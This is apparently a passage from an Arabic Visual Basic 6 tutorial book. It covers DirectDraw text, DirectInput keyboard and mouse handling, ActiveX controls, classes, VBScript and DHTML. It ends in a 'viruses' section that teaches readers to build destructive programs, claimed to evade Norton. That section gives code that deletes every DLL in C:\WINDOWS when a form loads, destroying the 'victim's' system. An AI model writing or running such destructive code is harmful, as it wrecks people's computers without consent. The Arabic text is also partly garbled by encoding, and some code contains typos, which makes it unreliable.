  :سنتعلم في هذا التطبيق رسم نصوصا على الشاشة

Dim Dx As DirectX7
Dim Dd As DirectDraw7

درو دايرآت وآائن إآس دايرآت آائن شاءنا '
Set Dx = New DirectX7
Set Dd = Dx.DirectDrawCreate("")

الشاشة مع التعامل نظام تحديد'
Dd.SetCooperativeLevel Form1.hWnd, _
DDSCL_ALLOWMODEX Or DDSCL_EXCLUSIVE Or _
DDSCL_FULLSCREEN

العرض نظام تحديد'
Dd.SetDisplayMode 800, 600, 16, 0, DDSDM_DEFAULT
Dim Primary As DirectDrawSurface7
Dim Ddsd_Primary As DDSURFACEDESC2



ezonet@hotmail.com 110

الرئيسي السطح اعداد'
Ddsd_Primary.lFlags = DDSD_CAPS Or 
DDSD_BACKBUFFERCOUNT
Ddsd_Primary.ddsCaps.lCaps = 
DDSCAPS_PRIMARYSURFACE _
Or DDSCAPS_FLIP Or DDSCAPS_COMPLEX
Ddsd_Primary.lBackBufferCount = 1
Set Primary = Dd.CreateSurface(Ddsd_Primary)
Me.Show
Dim Ddsd_Back_Buffer As DDSURFACEDESC2
Dim Back_Buffer As DirectDrawSurface7

الخفي السطح اعداد'
Ddsd_Back_Buffer.ddsCaps.lCaps = 
DDSCAPS_BACKBUFFER
Set Back_Buffer = 
Primary.GetAttachedSurface(Ddsd_Back_Buffer.ddsCaps)
Back_Buffer.GetSurfaceDesc Ddsd_Back_Buffer
Dim MyFont As New StdFont

الخط اعداد'
MyFont.Bold = True
MyFont.Size = 16
MyFont.Name = "Arial"

الخط على الخفي السطح تعريف'
Back_Buffer.SetFont MyFont
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الخط آتابة لون تحديد'
Back_Buffer.SetForeColor vbWhite
Do
DoEvents

آخلفية الصندوق اعداد'
Back_Buffer.SetFillColor vbBlack
Back_Buffer.SetFillStyle 0
Back_Buffer.DrawBox 0, 0, 800, 600

الخط رسم'
Back_Buffer.DrawText 230, 100, "Bibo", False
Primary.Flip Nothing, DDFLIP_WAIT
Loop 

 
 

 Direct Inputآائن 

مثـل  ... يستخدم آائن دايرآت انبت في معرفة حالـة أحـد أجهـزة الإدخـال               
 بالنـسبة   KeyPress أو   KeyDownوآما آنا نـستخدم     . ..الكيبورد أو الماوس    

بـل قـد نجـده    ...  آمـا اسـتخدمناهما   Direct Inputللكيبـورد فسنـستخدم   
 :أآثر سهولة 

وآــائن دايرآــت إنبــت آغيــره مــن آائنــات دايرآــت إآــس يحتــاج للتعريــف و   
    ...الإنشاء 

  :ن في آداؤه وهمايستخدم آائن دايرآت إنبت آائنين أو عنصري 

DirectInputDevice: وهــو الكــائن الموآــل بتعريــف نــوع جهــاز الإدخــال مــن 

   ..ماوس أو آيبورد

DiKeyBoardState:  وهــو آــائن يتعــرف علــى الــزر المــضغوط الآن وهــو مــن 

   ...اسمه نعرف أنه يعمل من الكيبورد 

  :ئنات السابقة تعال الآن نعلن عن الكا

Dim Dx As DirectX7 
Dim Di As DirectInput 
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Dim Didev As DirectInputDevice 
Dim DiKey As DIKEYBOARDSTA 

  :والآن سنقوم بتعريف الكائنات السابقة لنستطيع التعامل مع الكيبورد 

Set Dx = New DirectX7 
Set Di = Dx.DirectInputCreate() 
Set Didev = Di.CreateDevice("guid_syskeyboard") 

Didev.SetCommonDataFormat DIFORMAT_KEYBOARD  
Didev.SetCooperativeLevel Me.hWnd, _ 
DISCL_NONEXCLUSIVE Or DISCL_BACKGROUND  

Didev.Acquire  
  

  لوحة المفاتيح

 KeyBoardهذا الفصل سنتعلم آيف نستخدم آـائن دايرآـت انبـت مـع         في  
 :دم آائنين وهما وفي هذا سنستخ... 

Didev و DiKey ...  

   :آالتالي مثالا بعمل الآن سنقوم

   .. عند الضغط على الزر الأيمن تتحرك الفورمة جهة اليمين-١

  .. عند الضغط على الزر الأيسر تتحرك الفورمة جهة اليسار-٢

  .. عند الضغط على الزر الأعلى تتحرك الفورمة لأعلى-٣

  .. الضغط على الزر الأسفل تتحرك الفورمة لأسفل عند-٤

  .. للفورمةHeight اللأيسر تتم زيادة قيمة Ctrl عند الضغط على زر -٥

  .. للفورمةHeight الأيمن يتم تقليل قيمة Ctrl عند الضغط على زر -٦

  ... ينتهي البرنامج Escape عند الضغط على -٧
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 يقوم بالتعامـل مـع      Subي  أولا في الإجراء علينا انشاء مقطع برمج      
  :وهذا المقطع يكون شكله آالتالي ... أزرار الكيبورد 

Sub GetKeyState() 
Didev.GetDeviceStateKeyboard DiKey 
 الأزرار حالات مع التعامل'

If DiKey.Key(DIK_ESCAPE) Then End 
If DiKey.Key(DIK_LEFT) Then Me.Left = 
Me.Left - 20 
If DiKey.Key(DIK_RIGHT) Then Me.Left = 
Me.Left + 20 
If DiKey.Key(DIK_UP) Then Me.Top = 
Me.Top - 20 
If DiKey.Key(DIK_DOWN) Then Me.Top = 
Me.Top + 20 
If DiKey.Key(DIK_LCONTROL) Then 
Me.Height = Me.Height + 1 
If DiKey.Key(DIK_RCONTROL) Then 
Me.Height = Me.Height - 1 
End Sub 

  : ونكتب في التالي Form_Loadم نذهب للإجراء ث

Private Sub Form_Load() 
Set Dx = New DirectX7 
Set Di = Dx.DirectInputCreate() 
Set Didev = Di.CreateDevice("guid_syskeyboard") 
Didev.SetCommonDataFormat DIFORMAT_KEYBOARD 
Didev.SetCooperativeLevel Me.hWnd, 
DISCL_NONEXCLUSIVE Or DISCL_BACKGROUND 
Didev.Acquire 
Me.Show 
Do 
DoEvents 
GetKeyState 
Loop 
End Sub 
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و هي في هذا    ..  Dik_KeyNameولم يبق سور معرفة أسماء الأزرار بصيغة        
    :الجدول

Note Constant 

 DIK_ESCAPE  
On main keyboard DIK_1  
On main keyboard DIK_2  
On main keyboard DIK_3  
On main keyboard DIK_4  
On main keyboard DIK_5  
On main keyboard DIK_6  
On main keyboard DIK_7  
On main keyboard DIK_8  
On main keyboard DIK_9  
On main keyboard DIK_0  
On main keyboard DIK_MINUS  
On main keyboard DIK_EQUALS  
BACKSPACE DIK_BACK  
 DIK_TAB  
 DIK_Q  
 DIK_W  
 DIK_E  
 DIK_R  
 DIK_T  
 DIK_Y  
 DIK_U  
 DIK_I  
 DIK_O  
 DIK_P  
[ DIK_LBRACKET  
]  DIK_RBRACKET  
ENTER on main keyboard  DIK_RETURN  
Left CTRL  DIK_LCONTROL  
 DIK_A  
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 DIK_S  
 DIK_D  
 DIK_F  
 DIK_G  
 DIK_H  
 DIK_J  
 DIK_K  
 DIK_L  
 DIK_SEMICOLON  
 DIK_APOSTROPHE  
Grave accent (`)  DIK_GRAVE  
Left SHIFT DIK_LSHIFT  
 DIK_BACKSLASH  
 DIK_Z  
 DIK_X  
 DIK_C  
 DIK_V  
 DIK_B  
 DIK_N  
 DIK_M  
 DIK_COMMA  
On main keyboard  DIK_PERIOD  
Forward slash (/)on main keyboard DIK_SLASH  
Right SHIFT DIK_RSHIFT  
Asterisk on numeric keypad  DIK_MULTIPLY  
Left ALT  DIK_LMENU  
Spacebar DIK_SPACE  
CAPS LOCK  DIK_CAPITAL  
 DIK_F1  
 DIK_F2  
 DIK_F3  
 DIK_F4  
 DIK_F5  
 DIK_F6  
 DIK_F7  
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 DIK_F8  
 DIK_F9  
 DIK_F10  
 DIK_NUMLOCK  
SCROLL LOCK DIK_SCROLL  
 DIK_NUMPAD7  
 DIK_NUMPAD8  
 DIK_NUMPAD9  
Hyphen (minus sign) on numeric 
keypad  

DIK_SUBTRACT  

 DIK_NUMPAD4  
 DIK_NUMPAD5  
 DIK_NUMPAD6  
Plus sign on numeric keypad  DIK_ADD  
 DIK_NUMPAD1  
 DIK_NUMPAD2  
 DIK_NUMPAD3  
 DIK_NUMPAD0  
Period (decimal point) on numeric 
keypad  

DIK_DECIMAL  

 DIK_F11  
 DIK_F12  
 DIK_F13 
 DIK_F14 
 DIK_F15 
On Japanese keyboard DIK_KANA 
On Japanese keyboard DIK_CONVERT 
On Japanese keyboard DIK_NOCONVERT 
On Japanese keyboard DIK_YEN 
On numeric keypad (NEC PC98) DIK_NUMPADEQUALS 
On Japanese keyboard DIK_CIRCUMFLEX 
On Japanese keyboard DIK_AT 
On Japanese keyboard DIK_COLON 
On Japanese keyboard DIK_UNDERLINE 
On Japanese keyboard DIK_KANJI 
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On Japanese keyboard DIK_STOP 
On Japanese keyboard DIK_AX 
On Japanese keyboard DIK_UNLABELED 
 DIK_NUMPADENTER  
Right CTRL key  DIK_RCONTROL  
Comma on NEC PC98 numeric keypad DIK_NUMPADCOMMA 
Forward slash (/)on numeric keypad  DIK_DIVIDE  
 DIK_SYSRQ  
Right ALT  DIK_RMENU  
 DIK_HOME  
Up arrow DIK_UP  
PAGE UP  DIK_PRIOR  
Left arrow DIK_LEFT  
Right arrow DIK_RIGHT  
 DIK_END  
Down arrow  DIK_DOWN  
PAGE DOWN  DIK_NEXT  
 DIK_INSERT  
 DIK_DELETE  
Left Windows key DIK_LWIN  
Right Windows key DIK_RWIN  
Application key  DIK_APPS  
 DIK_PAUSE  

  الفأرة

  ...للتعامل مع الماوس هناك أربعة أشياء يجب معرفتها 

   X.. موقع المؤشر على المحور -١

  Y.. موقع المؤشر على المحور -٢

  ..Z موقع المؤشر على المحور -٣

  ...ر المضغوط هل هو الأيمرن أم الأيسر  معرفة الز-٤



ezonet@hotmail.com 118

تعـال نبـدأ فـورا فـي        ... وآل ذلك يتيحـه لـك دايرآـت إنبـت بـسهولة ورفـق               
   :تعريف وانشاء الكائنات الرئيسية 

 التعريف'
Dim Dx As DirectX7 
Dim Di As DirectInput 
Dim Didev As DirectInputDevice 
Dim DiMouse As DIMOUSESTATE 

Private Sub Form_Load() 
 الإنشاء'
Set Dx = New DirectX7 
Set Di = Dx.DirectInputCreate() 
Set Didev = 
Di.CreateDevice("guid_sysMouse")
Didev.SetCommonDataFormat 
DIFORMAT_MOUSE 
Didev.SetCooperativeLevel 
Me.hWnd, DISCL_NONEXCLUSIVE 
Or DISCL_BACKGROUND 
Didev.Acquire 
Me.Show 
 التكرارية الحلقة'
Do 
DoEvents 
GetMouseState 
Loop 
End Sub 

  

Sub GetMouseState() 
 الماوس حالة معرفة'
Didev.GetDeviceStateMouse 
DiMouse 
If DiMouse.buttons(0) Then _ 
Me.Caption = " Left Button" 
If DiMouse.buttons(1) Then _ 
Me.Caption = " Right Button" 
End Sub 
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 ActiveXانشاء ادوات التحكم 
  

 آما يلى  Visual Basic في Aetivex وظيفة مصصم  ادوات التحكم أو ادوات
: 

 Properties  تحديد اداة التحكم تحديـدًا تامًـا بمعنـى مظهرهـا  وخصائـصها     
وذلك من خلال . التى تستجيب لها  Events والأحداث Methods   ووظائفها

 Control..  من أدوات التحكم ويسمي هنا  Class انشاء صنف جديد
تحديـــد ســـلوك الأداة اثنـــاء التـــصميم بمعنـــي مـــاذا ســـتفعل اذا حرآهـــا  

ــا   ــر حجمهـــــ ــام بتكبيـــــ ــذة أو قـــــ   المـــــــستخدم فـــــــوق النافـــــ
  

 ActiveXمثال علي اداه التحكم 
  

مـن مربـع المـشروع     ActiveX Control اختـر ، مـشروع جديـد  قم بانشاء 
 ..New Project الجديد

  :آما في الشكل التالى  Visual Basic ستظهر نافذة
  

  
  

قـم بوضـع    ، سيكون مثالنا انشاء مربع تسمية مرسوم حوله اطار ذو ظل         
 ارسـم أول شـكل  . عمـل مـربعين علـى مـساحة ال    Shape       شكلين
Shape        ومـن مربـع الخـصائص اختـر اللـون الأسـود للخاصـية Backcolor 
ثم ارسم الشكل الثـاني مـع    Opaque اختر القيمة Backstyle وللخاصية

 فوقـه و غيـر   Labelوضـع  ،  الي اللـون الابـيض   BackColor تغيير الخاصية
روع يجـب ان يكـون شـكل المـش       ، Transparent الـي    BackStyleخاصية  
  :آالتالي
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 ،Label3Dمن المربع خصائص الخاص بالاداه غير اسم الأداة إلي 
 وسيتم حفظ الاداة في ملف باسم Label3D  قم بحفظ المشروع باسم

Label3D.ctl ، قبل أن نقوم بكتابة الكود سنقوم باختبار ما فعلنا 
 ختــر مــشروع قياســيا ، Fileمــن القائمــة  Add Project اختــر الأمــر

Standard Project..  
عندئذ نوضع مشروع جديد خلاف أداة التحكم فـي   Visual Basic سيقوم

 . نافذة المشروع  ويضيف اليه نموذج نافذة
على نافذة المشروع  لتدل على وجود أآثـر   Project Group تظهر آلمة
 ..من مشروع

  
د أولاً  أن تغلـق      لكي تستطيع اضـافة الاداة إلـى مـشروعك الجديـد  لاب ـ            

مصمم الاداة وعندئذ سيظهر رمـز جديـد فـي مربـع الادوات  بمثـل الاداة                 
 ،التى انشأناها

  
نلاحـظ أن الاداة    ، قم باضافة هذه الاداة إلى نافـذة المـشروع القياسـي            

لها خصائص تظهر في نافذة الخصائص وهى خـصائص عامـة تملكهـا أى              
 ..هااداة سيتم انشائها بغض النظر عن محتويات

  
لو نقرت على الأداة في النمـوذج  سـتفتح نافـذة الكـود وبهـا أربعـة مـن                    
الأحداث تستجيب لها الأداة وهي عامة معرفة لكافـة الأدوات التـى يـتم              

 انشاؤها
مـن   Save Project Group قم بحفظ الأداة والمشروع الاختبـارى باختيـار  

   ...File قائمة
   

  احداث الاداه

دما تقوم برسم أداة تحكم على النافذة تقوم الاحداث الآتيـة بالترتيـب         عن
  Resize..  ثم InitProperties ثمInitialize                بالانطلاق

الأحداث السابقة تقع اثناء التصميم وفي مقابل ذلك اثناء التـشغيل تقـع             
 :مجموعة أحداث أخرى 

ة اذا تم تغيير حجـم الاداة فقـم         لتغيير حجم العناصر الموجودة داخل الأدا     
مـن  ( قم بفتح نافذة الكـود الخـاص بـالاداة    Resize..   باستخدام الاجراء 

قـم بكتابـة     ثـم  MyTool للكـائن  Resize  ثم اختر الحـدث ) مصمم الاداة 
  :الكود التالى

Dim W As Integer, Dim H As Integer 

Shape1.Width = W 

Shape1.Height = H 
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Shape2.Width = W 

Shape2.Height = H 

Label1.Top = ( H – Label1.Height ) / 2 

Label1.Width = W 

عد إلى نافذة  مشروع الاختبار وحـاول تغييـر حجـم العنـوان سـترى أنـه                  
 ..يستجيب لتغيير الحجم ويعدل نفسه تبعًا لذلك

 
جـب أن ننـشئ   ي Label1 الموجـودة داخـل  ) عنـوان مميـز   ( لتغيير عبارة 

يقوم المستخدم من خلالها بتغييـر تـسمية    title  خاصية وليكن  اسمها
 ..العنوان المميز

 ..MyToolافتح نافذة الكود الخاصة بالاداة 
 Tools..   من قائمة  AddProcedureقم باختيار أمر 
   AddProcedure..  يظهر مربع حوار

  

      و Type من مجموعة الخيارات Property  من هذا المربع نشط الخيار
     Publicمن مجموعة Scope واآتب الاسم title  في مربع  Name ثم 

 ..OKاضغط 
 :سيظهر قالب مكون من اجراءين لتعريف الخاصية 

هـذا الاجـراء  يـستخدم عنـد قـراءة قيمـة        Get title الاجراء  الأول بعنوان
 ..الخاصية

وهـو يـستخدم عنـد تخـصيص قـيم جديـدة         Let title الاجراء الثـانى هـو  
 للخاصية

 : قم بتعديل هذا القالب وادخال الكود آما يلى

Public Property Get title() As Variant 

title = Label1.Caption 
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End Property 

Public Property Let title (ByVal vNewValue As Variant) 

Label1.Caption = vNewValue 

PropertyChanged “title” 

End Property 

ــي   ــول الاداه الـ ــة   ocxوالان حـ ــق القائمـ ــن طريـ ــم File عـ  Make ثـ
MyTool.ocx ،وهكذا تكون قد انشأت اواداه خاصة بك..  

  ..الادوات درس صــــندوق راجــــع داخــــل مــــشروعك و للاســــتفادة منهــــا
  

 Visual Basic انشاء الأصناف في 
  

   Class يتم انشاؤها باستخدام وحـدات الاصـناف   Visual Basic الاصناف في
وهى تحتوى على تعريف للمتغيرات وآود للاجراءات ولا تحتوى علـى أى                

 ..عنصر مرئية لواجهة المستخدم
 ..Project من القائمة  Add Class اختر أمر

 Add Class Module .. يظهر مربع 
 Open..  ثم انقر زر Class Module اختر
وسـيتم   Class1 تم اضافة وحدة صنف إلى مـشروعك بالاسـم التلقـائي   سي

  ..فتح نافذة الكود الخاصة  بهذه الوحدة

 
 Terminate  و Initialize  الحدثين

 

 ..يقع  عند تخليق فرد من أفراد هذا الصنف في الذاآرة Initialize الحدث
  ..يقع عند انهاء فرد من أفراد هذا الصنف Terminate الحدث
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 انشاء الخصائص

  

 : الصنفإلى  الخصائص اضافة
بعد انشاء وحدة الـصنف يمكنـك اضـافة الخـصائص وهنـاك طريقتـان لانـشاء                 

 :خاصية لصنف
ويتم الاعـلان عنـه فـي قـسم الاعـلان  العـام        Public تعريف متغير عمومي

 .الخاص بالصنف
 Let ..و Get وهي Property اءات الخصائصأو استخدام اجر

 

 :الخصائص اجراءات أنواع من ثلاث هناك
 :Property Let   يستخدم لقبول قيمة الخاصية من البرنامج الـذى يـستدعيه

 ..ثم يقوم بتخزينها في المتغير  المحدد لهذه الخاصية
Property Get :   ــى ــستخدم لارســال  قيمــة الخاصــية إل ــذى  ي ــامج ال البرن

 ..يستدعيه بمعنى أنه يستخدم لاستقبال قيمة الخاصية
Property Set :نوع مخصوص من الاجراء Let  يستخدم عندما تكون الخاصية

 ..Font من الخط  Object نفسها عبارة عن آائن
  

لانــشاء أحــد الاجــراءات الــسابقة تأآــد أن نقطــة الادراج فــي نافــذة  الكــود   
 ..ى تبنيهالخاصة  بالصنف الذ

 .. Tools من القائمة Add Procedure اختر امر
 ..سيظهر مربع حوار اضافة اجراء

  مـن المجموعـة   Property حدد اسم الخاصية ونشط الزر Name في مربع
Type  
 Get.. و Let ليتم انشاء قالبين للاجرائين Ok انقر

نها في متغيـر  باختبار قيمة الخاصية والتحقق منها ثم تخزي Let يقوم الاجراء
 :آما يلى Private خصوصي

Public Property Let Legnth(ByVal Length As Integer) 

If Legnth < 0 Then 

 M_Legnth = 0 

Else 

 M_Legnth = Legnth 

End Property 
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 :آالآتى Get يمكن للبرنامج قراءة قيمة الخاصية من خلال الاجراء

Publick Property Get Legnth() As Integer 

 Legnth = M_Legnth 

End Property 

 
 

  Methods الوظائف
 

للاصناف ببساطة بتعريف اجـراءات مـع الأخـذ     Methods يمكن انشاء وظائف
 :وذلك آالآتى Public في الاعتبار  أن تكون عمومية

Public Sub PrintBold(Line As String) 

   Printer.ForntBold = True 

   Printer.Print Line 

End Sub 

  اضافة الأحداث إلى الصنف
 

 :انشاء احداث خاصة بكائنات تحتاج إلى خطوتين بسيطتين
 :أن تعلن عن الحدث في قسم الاعلان في الصنف آالتالى: الاولى

Publick Event Alarm() 
 

لاطـلاق الحـدث  فـي التوقيـت      Raise Event  أن تـستخدم العبـارة  : الثانيـة 
 :اءات الأخرى آالتالىالمناسب من خلال آود الاجر

Private Sub Get_Total() 

If Num > 1 Then 

RaiseEvent Alarm 

End If 

End Sub 
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  استخدام الاصناف داخل البرنامج
 

اضافة صنف إلـى مـشروع لا يعنـى امكانيـة اسـتخدام الـصنف مباشـرة بـل           
بعد ذلـك يمكنـك اسـتخدام هـذا         . يجب انشاء آائن ينتمى لهذا الصنف أولاً        

 ..ن  آما تستخدم أى آائن أو اداة أخرىالكائ
 Set أو باسـتخدام  التخـصيص بالكلمـة    Dim  يتم انشاء آائن  اما بـالاعلان 

 : آالآتى
  

Dim MyAlarm As New Alarm 

Dim MyAlarm As Alarm 

Set MyAlarm = New Alarm 

 

 Set اذا احتوى الصنف الذى تستخدمه على احداث خاصـة  فـان اسـتخدام   
عنـد الاعـلان عـن     With Events  آما يجب استخدام  الكلمـة يصبح ضرورى

 :الكائن آما يلى 

Dim WithEvents MyAlarm As Alarm 

Set MyAlarm As New Alarm 

 
 

  التخلص من الحدث
  

أى آائن يتم انشاؤه  يستهلك جزء من الـذاآرة  ومـوارد النظـام  لـذلك فـاذا                   
ــارة   انتهيــت مــن اســتخدام يفــضل  ــذاآرة باســتخدام عب ــه  مــن ال  ان تحذف

 :التخصيص التالية

Set MyAlarm = Nothing 
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 ما هو الانترنت

 
 

الانترنت عبارة شبكة من الاجهـزة الـضخمة المتـصلة عبـر وسـائل اتـصالات                
آالألياف الضوئية  والأقمار الصناعية ، وتتصل بهذه الأجهـزة الـضخمة أجهـزة              

أقل فأقل في الحجم في تكوين شجري متشعب حتى تصل إلـى مـستوى               
 الأجهزة الشخصية

 : يوجد عدة تطبيقات منفصلة تعمل على الانترنت منها
 

 وهـى مجموعـة مـن الـصفحات      World Wide Web: العالمية شبكة الويب
Pages           يـتم عرضـها علـى متـصفح الويـب يمكـن أن تحتـوى علـى أخبـار أو

ط لصفحات أخرى أو روابط لبرامج يمكن أن تقوم بانزالها إلى           معلومات أو رواب  
 . جهازك

 
وهى تستخدم لنقل رسائل إلى أشخاص  E_mail: الالكترونى البريد خدمة

 .بعينهم على الانترنت
 

اتصال حى بين اثنين أو أآثر من  المـستخدمين المتـصلين    Chat: التخاطب
أن يكون بعدة طـرق فإمـا أن        هذا الاتصال يمكن    . بانترنت في نفس اللحظة     

ــامج المــستخدم    ــا للبرن يكــون بالنــصوص المكتوبــة أو الــصوت أو الــصورة تبعً
 . الموجود في أجهزة المستخدمين Hardwore والجهاز

 
تتيح نقـل ملـف أو أآثـر بـين الاجهـزة المتـصلة        ( FTP ) خدمة نقل الملفات

  بالانترنت 
 

  آيف تعمل شبكة الانترنت
  

بمعنى أنه يوجد جهاز مـستخدم     Client /Server تعمل شبكة الويب بنظام
هو خادم الويب الذى تكون علـى اتـصال بـه     متصل ويتخاطب مع جهاز خادم

  ..اثناء  التصفح
 يتم التخاطب بـين جهـازك  والخـادم مـن خـلال اسـلوب قياسـي  يـسمى        

HTTP       Protocol ى جهازك لنقل صفحات الويب من الخادم إل . 
حيـث يقـوم     HTML يتم آتابة صفحات الويب بصورة أساسية  بلغة تـسمى 

  ..جهاز  المستخدم بفهمها وعرض المحتويات التى تدل عليها
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  احتياجات اي جهاز ليكون خادم ويب

  

ليكون أى جهاز خـادم ويـب لابـد أن يكـون متـصلاً بالانترنـت مـن خـلال خـط                      
 . فوق ذلك لابد من توافر شرطين آخرين Leased Line ال اليومخاص  طو

الأول أن يكون لهذا الخادم اسـم مميـز وفريـد علـى شـبكة الانترنـت حتـى                   
 يستطيع المستخدمون أن يصلوا إليه وهذا الاسم المميز هو ما نطلق عليه

Dowain Name  
 الــشرط الثــانى أن يكــون هنــاك برنــامج خــاص بخدمــة الانترنــت يــسمى  

Internet Server Softwore..  

  انشاء صفحات الويب

  برمجة الويب
  

سـنحتاج    Visual Basic لكى نصبح مبرمجين للويب باستخدام خبراتنا فـي 
  : إلى ما يلى

  ..لكتابة المحتوى الاساسي للصفحة HTML معرفة مبدئية بلغة •

  VBScript..لانشاء صفحات ديناميكية  بسيطة سنحتاج فهم  •

 Dynamic لانــشاء صــفحات ديناميكيــة أعقــد قلــيلاً ســنحتاج لفهــم •
HTML ..  

 ActiveXلو أردنا دعم الصفحات بعناصر تحكم خاصة  سنحتاج لفهـم   •
Object 

 ..ASPلانشاء صفحات نشطة في الحال ناحية الخادم نحتاج لفهم  •

 VB Scriptلغة 
  

تـستخدم لكتابـة آـود يـتم ترجمتـه        Visual Basic هى نسخة مشتقة من
 Microsoft.. أو   Internet Explorer وتنفيـذه بواسـطة عـدة بـرامج مثـل     

OutLook 
ولكـن قوتهـا ليـست فـي اتـساع       Visual Basic ليس لها قـوة  Vbscript لغة

اللغة ولكن في امكانية استخدامها في حالات نعجز عن استخدام اللهجـات          
        ..الأخرى فيها
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 VBScriptن علي لغة مثالي

  

 Notepad..  فتح أى منسق آلمات مثل 
 :قم بكتابة السطور التالية فيه

<HTML> 

<Head>  

<Title></Title> 

</Head> 

<Body> 

<P><Script Language=”VBScript”> 

MsgBox “مرحبا بك في تعلم و احترف برنامج الفيجوال بيسيك” 

</Script></P> 

</Body> 

</HTML> 

 Hllo.htmقم بحفظ الملف باسم 
  ..قم بفتح الملف و عند الفتح ستظهر لك هذه الرسالة

  : آتبنا الاسطر التاليةVBScriptطبعا موضح امامنا ان لتعريف لغة 

<Script Language=”VBScript”> 

</Script> 

  :و الان لتقوم بعمل مثال اخر

  Notepad..  فتح أى منسق آلمات مثل 

  :تابة السطور التالية فيهقم بك
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<HTML> 

<Head>  

<Title></Title> 

</Head> 

<Body> 

<INPUT TYPE=Button value=Button1 name=Button1> 

<P><Script Language=”VBScript”> 

Sub Button1_onClick() 

MsgBox “مرحبا بك في تعلم و احترف برنامج الفيجوال بيسيك” 

End Sub 

</Script></P> 

</Body> 

</HTML> 

 Hllo2.htmقم بحفظ الملف باسم 
اضـغط عليـه سـتظهر هـذه        ، قم بفـتح الملـف و عنـد الفـتح سـيظهر لـك زر              

  ..الرسالة

 ملاحظات هامة
 
   

  ..Varient تدعم نمط واحد من البيانات و هو VBScripلغة 
 

  .. و لا تدعم اي مصفوفات
  

 ولا OnError ولا  Goto ولا DoEvents ناحيـة مجموعـات الـتحكم لا تـدعم    
Line   Numbersولا.. With 

  
  ..Val ولا  Str من ناحية دوال التحويل لا تدعم
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 Stop ... ولا عبارة  Debug من ناحية التنقيح لا تدعم الكائن
 

من ناحية الاعلان عن المتغيـرات لا يمكـن الاعـلان عـن خـصائص  ولا يوجـد           
د حجز ديناميكي  للذاآرة وأمثالها آذلك لا يوج Private و  Public تفرقة بين

 New بـ
 ــ   ولا  Resume ولا On Error من ناحية التحكم في الاخطاء  لا يوجـد دعـم ل

 أمثالها
 

 Port ..لا يوجد أى دوال للادخال أو الاخراج من ملف أو
 

 Clip board..  لا يوجد دعم للحافظة 
 

ــذلك بعــض دوا    ــة ذات الطــول الثابــت وآ ــرات الحرفي ل لا يوجــد دعــم للمتغي
   ..الحرفيات

  
 

  انشاء الكائنات بالكود
  

  :OptionButtonاضافة 

<INPUT TYPE=radio VALUE=Radio CHECKED NAME=R1> 

 

  :ComboBoxاضافة 

<SELECT NAME=check size=1 tabindex=1> 

</SELECT> 

  :انشاء تكست

<TEXTAREA ROWS=2 NAME=textarea COLS=20> 

</TEXTAREA> 

  :تكست بوآس

<INPUT TYPE=text NAME=text SIZE=20 VALUE=Text><P> 

</P> 
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 :زر

<INPUT TYPE=Button value=Button name=Button1> 

  

  :الكائنات هذه جميع في

  .. آما هيName و Caption هي Valueالقيمة 

  صفحات الويب الديناميكية

 ما هي 

DHTML
 

القياسـية إلـى صـورة  تـسمح بانـشاء  الـصفحات        HTML هـي تطـوير للغـة   
 ..الديناميكية والتفاعل مع المستخدم

  محتويات صفحة

 
DHTML

 

 ..Standard EXE وليس DHTML Application افتح DHTMLلاستخدام 
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 لتظهـر لـك     DHTMLPage1ثم اختر   ، لفورمات من نافذة ا   Designsاختر الامر   
  :هذه النافذة

  

  :و سيتغير شكل صندوق الادوات الي هذا الشكل

  

  : المشروعاجزاء

  :و تتكون من، النافذة السابقة هي التي سيكون عليها آل العمل

  .ليس بحاجة لتوضيح: صندوق التنصيق

  .هذه الصفحة بها اسماء آل ما وضعته: صفحة المكونات
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فعنـد وضـع تكـست و زر        ، و هي الصفحة البيضاء الي اليمين     : صفحة العمل 
 ..او غيره تكون علي هذا الفورم

 

 مثال علي 

DHTML
  

اتبــع ، تــضغط علــي زر فتتغيــر حالــة تكــست، سننـشئ هنــا برنــامج بــسيط 
  :الخطواط التالية

  . و تكست علي مكان العملButtonضع زر  •

  :اضغط ضغطا مذدوجا علي الزر و اآتب هذا الكود •

Private Function Button1_onclick() As Boolean 

Button1.Value = “Bibo” 

End Function 

  ..Biboوهكذا عند الضغط تتغير الكتابة الي 

فقـط  ،  البرنـامج العـادي فـي الكـود     و DHTMLفكما تري لا فرق تقريبا بـين  
 و يمكنـك    ID سـتكون      Name و   Value اصبحت   Captionبعض التغيرات مثل    

  ..التعرف علي باقي الاختلافات حتي لو آنت مبتدء

  

  

 نشر الصفحة

  :وذلك عن طريق،  للاستفادة منهاdllبعد حفظ الصفحة يجب تحويلها الي 

File > MakeDHTMLProject.dll 

  : تحفظ معه هذه الملفاتdllعند تحويل الصفحة الي 

DHTMLProject.dll 

DHTMLProject_DHTMLPage1.htm 
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علـي آـل حـال يجـب وضـع هـذه الملفـات مـع                ، و ملف اخـر لا اذآـر اسـمه        
  ..الصفحة و انت تضعها علي الويب

 الفيروسات 

 

و التـدمير الممكـن تحقيقـه بهـذه         ! من منا لا يعرف الفيروسـات و اخطارهـا؟        
  !الفيروسات

فليس الا مستهتر غبي يستعمل العلم      ، من يصنع الفيروسات بغرض الاذي    
و مــن اخطــر الفيروســات التــي صــنعت حتــي الان هــو  ، فــي اشــياء مــضرة

اخترعه شاب في الحـادي     ، الذي يقوم بتدمير الجهاز آليا    ، فيروس شرنوبيل 
  .. التدميرو العشرين من عمره لا يهوي الا

  :الفيروسات عن مقدمة

امـا مـا سنـصنعه الان       ، الـخ ..تصنع الفيروسات ببرامج مثل دلفي و باسكال        
ــنفس عمــل الفيروســات  ، لــيس فيروســات ــرامج مــدمرة تقــوم ب و لا ، بــل ب

 ..يستطيع النورتن آشفها

، و آلهـا بـأآواد درسـناها مـن قبـل          ، أفكار هذه الفيروسات بسيطة و سهلة     
انظــر الــي ، يجــب ان يتــوافر لــديك الــذآاء، يروســك الخــاصولكــن لتــصميم ف

  ..الامثلة و اعرف طريقة صنع هذه الفيروسات ثم اصنع افكار مثلها

ضـد اخـوه     عدم استخدام هـذه الفيروسـات      ارجو من آل اخ مسلم    
  ..الفيروسات هو العلم فقط هذه الدروس عن غرض نشر ،المسلم

  الفيروس الاول

  :الفكرة

 فـي وينـدوز ممـا يـؤدي الـي           dllس بحذف جميع ملفـات      سيقوم هذا الفيرو  
  ..تدميره

  :الكود

  : و قم بكتابة الكود التاليStandartEXEافتح مشروع جديد 

Private Sub Form_Load() 

Call Kill (“C:\WINDOWS\*.dll”) 

End Sub 



ezonet@hotmail.com 135

  ..Cهذه بناء علي ان يكون ويندوز الضحية في 

  ..ي ويندوز بدون رسالة تأآيد فdllيقوم هذا الكود بحذف جميع ملفات 

   الاولالفيروس

  :الفكرة

